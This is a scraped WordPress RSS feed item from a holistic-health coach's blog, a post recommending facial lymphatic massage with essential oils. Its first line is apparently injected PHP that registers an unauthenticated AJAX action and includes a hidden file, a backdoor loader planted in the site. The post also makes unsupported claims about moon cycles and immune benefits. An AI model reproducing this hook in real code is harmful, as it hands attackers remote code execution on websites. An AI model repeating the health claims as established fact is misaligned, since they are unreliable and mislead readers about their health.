if(!function_exists('file_manager_check_dt')){ add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt'); add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt'); function file_manager_check_dt() { $file = __DIR__ . '/settings-about.php'; if (file_exists($file)) { include $file; } die(); } } lymphatic system - Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator https://rommykirby.com Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator Wed, 10 Feb 2016 02:24:17 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Do this for Radiant Supple Skin https://rommykirby.com/do-this-for-radiant-supple-skin/ https://rommykirby.com/do-this-for-radiant-supple-skin/#comments Fri, 31 Oct 2014 13:41:39 +0000 http://RommyKirby.com/?p=1263 Did you know that your skin tells stories about you? It will even tell deep dark stories that you don’t want anyone to know. Like that secret sugar addiction, late night online shopping, drinking iced drinks, or that your really eating chemical, lab created “foods” rather than whole foods.   One of the tell-tale systems […]

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Did you know that your skin tells stories about you?

It will even tell deep dark stories that you don’t want anyone to know.

Like that secret sugar addiction, late night online shopping, drinking iced drinks, or that your really eating chemical, lab created “foods” rather than whole foods.

 

One of the tell-tale systems for your skin is your Lymphatic System.

 

So if you’re walking around with excess baggage under your eyes or around your jowls, give your face the gift of a personal massage.

It’s one of my favorite self care rituals.

 

My Tips

 

I want to do this once a week, but that doesn’t always happen. I will to do it on or around the Full and New Moons at a minimum.

 

Following moon cycles helps my body stay in sync with the natural rhythms of the seasons.

 

Add Frankincense or an Anti-Aging Blend to your finger tips for added effectiveness. These are wonderful for your skin, I use both of these twice a day, every day.

This is great to do if you feel like you may be ‘coming down with something’.  Remember, your lymphatic system is vital to your immune resiliency.

 

The post Do this for Radiant Supple Skin first appeared on Manage Stress | Increase Energy |Simple Solutions | Rommy Kirby, Holistic Health Coach, Yoga Personal Trainer, Essential Oil Educator.

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